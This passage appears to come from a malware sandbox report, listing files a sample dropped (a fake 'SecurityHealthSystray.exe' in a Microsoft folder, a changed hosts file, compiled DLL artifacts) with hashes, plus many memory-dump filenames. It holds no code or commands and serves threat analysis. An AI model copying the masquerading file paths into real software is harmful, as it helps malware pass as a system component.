                      • SHA256 6571d509a5b45592ddd20b6059d5ab786a1a7ff79e90145ebcc11f13b1bef4e8
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_usa5pfdu.euq.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_usa5pfdu.euq.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Display (1).png
                      • Path C:\Users\Admin\AppData\Local\Temp\ppcXTujdwj\Display (1).png
                      • Size 598KB
                      • SHA256 a0b1fd75abdc4534906096c278219d5f2dd1a2739456b916b4c82adeacc5ecbc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      vgor505o.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\vgor505o\vgor505o.dll
                      • Size 4KB
                      • SHA256 7711510b49b3d56c25855329971fca3de21724af6b5d522ba15d5796323a055b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      SecurityHealthSystray.exe
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                      • Size 10.8MB
                      • SHA256 82442409a93cdadb106e89e144882332fed0e27820db6bca62641e44f2531291
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      hosts
                      • Path C:\Windows\System32\drivers\etc\hosts
                      • Size 2KB
                      • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSC124A7CA2F2CB415C87E0BBAAD8F3D9A.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\vgor505o\CSC124A7CA2F2CB415C87E0BBAAD8F3D9A.TMP
                      • Size 652B
                      • SHA256 54314e471111dcacc20f08961ff9096fe2c063ba6a25984dd2acf8ec7e61a91b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      vgor505o.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\vgor505o\vgor505o.0.cs
                      • Size 1004B
                      • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      vgor505o.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\vgor505o\vgor505o.cmdline
                      • Size 607B
                      • SHA256 caa13bbc8e7ed01d84026c9b395863a32efd33271112e10640f16b6ad084b268
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/452-22-0x000001BEBD570000-0x000001BEBD5A0000-memory.dmp
                      Download

                      memory/996-16-0x0000028EB30A0000-0x0000028EB30D0000-memory.dmp
                      Download

                      memory/1048-15-0x0000012495A90000-0x0000012495AC0000-memory.dmp
                      Download

                      memory/1212-10-0x0000023893590000-0x00000238935C0000-memory.dmp
                      Download

                      memory/1280-4-0x0000020AFE0A0000-0x0000020AFE0D0000-memory.dmp
                      Download

                      memory/1332-27-0x0000020E22880000-0x0000020E228B0000-memory.dmp
                      Download

                      memory/1376-19-0x000001C968300000-0x000001C968330000-memory.dmp
                      Download

                      memory/1400-23-0x0000024293AC0000-0x0000024293AF0000-memory.dmp
                      Download

                      memory/1440-8-0x000001FB50980000-0x000001FB509B0000-memory.dmp
                      Download

                      memory/1500-2-0x000002051B510000-0x000002051B540000-memory.dmp
                      Download

                      memory/1700-5-0x0000025C99380000-0x0000025C993B0000-memory.dmp
                      Download

                      memory/1904-118-0x00000212997B0000-0x00000212997B8000-memory.dmp
                      Download

                      memory/1904-123-0x00000212814E0000-0x00000212814EC000-memory.dmp
                      Download

                      memory/1904-122-0x00000212FF4F0000-0x00000212FF520000-memory.dmp
                      Download

                      memory/1940-24-0x000002E450680000-0x000002E4506B0000-memory.dmp
                      Download

                      memory/2000-65-0x00000297BEB20000-0x00000297BEB50000-memory.dmp
                      Download

                      memory/2032-14-0x000001384CDC0000-0x000001384CDF0000-memory.dmp
                      Download

                      memory/2072-29-0x000002A3F51E0000-0x000002A3F5210000-memory.dmp
                      Download

                      memory/2272-26-0x0000018C4F9D0000-0x0000018C4FA00000-memory.dmp
                      Download

                      memory/2272-0-0x000001A47A880000-0x000001A47A8B0000-memory.dmp
                      Download

                      memory/2548-115-0x000001FCEFF70000-0x000001FCEFFA0000-memory.dmp
                      Download

                      memory/2548-3-0x00000198C4040000-0x00000198C4070000-memory.dmp
                      Download

                      memory/2548-116-0x000001FCEFFE0000-0x000001FCEFFEC000-memory.dmp
                      Download

                      memory/2568-30-0x0000015C40EA0000-0x0000015C40ED0000-memory.dmp
                      Download

                      memory/2880-112-0x000001A4A2E70000-0x000001A4A2E7C000-memory.dmp
                      Download

                      memory/2940-6-0x000001DE8E3A0000-0x000001DE8E3D0000-memory.dmp
                      Download

                      memory/3224-11-0x00000279184F0000-0x0000027918520000-memory.dmp
                      Download

                      memory/3288-94-0x00000275D32C0000-0x00000275D32F0000-memory.dmp
                      Download

                      memory/3436-42-0x00000153B8230000-0x00000153B8260000-memory.dmp
                      Download

                      memory/3672-125-0x000002857E220000-0x000002857E250000-memory.dmp
                      Download

                      memory/3880-82-0x000001E5855A0000-0x000001E5855D0000-memory.dmp
                      Download

                      memory/3908-38-0x00000149A1380000-0x00000149A13B0000-memory.dmp
                      Download

                      memory/3924-13-0x000001E79C480000-0x000001E79C4B0000-memory.dmp
                      Download

                      memory/4220-63-0x000001E40EE10000-0x000001E40EE40000-memory.dmp
                      Download

                      memory/4220-64-0x000001E410850000-0x000001E41085C000-memory.dmp
                      Download

                      memory/4220-53-0x000001E428C10000-0x000001E428C32000-memory.dmp
                      Download

                      memory/4224-25-0x000001680B270000-0x000001680B2A0000-memory.dmp
                      Download

                      memory/4292-43-0x0000014FB6E20000-0x0000014FB6E50000-memory.dmp
                      Download

                      memory/4328-17-0x000001B94B550000-0x000001B94B580000-memory.dmp
                      Download

                      memory/4376-32-0x0000028C3CFB0000-0x0000028C3CFE0000-memory.dmp
                      Download

                      memory/4408-45-0x00000295F72D0000-0x00000295F7300000-memory.dmp
                      Download

                      memory/4460-89-0x000001B986810000-0x000001B98681C000-memory.dmp
                      Download

                      memory/4460-88-0x000001B984F00000-0x000001B984F30000-memory.dmp
                      Download

                      memory/4592-21-0x000001E833A20000-0x000001E833A50000-memory.dmp
                      Download

                      memory/4632-33-0x000001DB3CDA0000-0x000001DB3CDD0000-memory.dmp
                      Download

                      memory/4708-18-0x00000263C6540000-0x00000263C6570000-memory.dmp
                      Download

                      memory/4732-60-0x0000024620470000-0x00000246204A0000-memory.dmp
                      Download

                      memory/4840-75-0x000001D581650000-0x000001D581680000-memory.dmp
                      Download

                      memory/4916-20-0x0000016E782C0000-0x0000016E782F0000-memory.dmp
                      Download

                      memory/4944-7-0x000002A3964E0000-0x000002A396510000-memory.dmp
                      Download

                      memory/4992-1-0x000001EF5C580000-0x000001EF5C5B0000-memory.dmp
                      Download

                      memory/5024-28-0x0000021221AA0000-0x0000021221AD0000-memory.dmp
                      Download

                      memory/5088-12-0x000002576EEB0000-0x000002576EEE0000-memory.dmp
                      Download

                      memory/5100-9-0x00000198E2370000-0x00000198E23A0000-memory.dmp
                      Download

                      memory/5104-31-0x0000015B98FC0000-0x0000015B98FF0000-memory.dmp
                      Download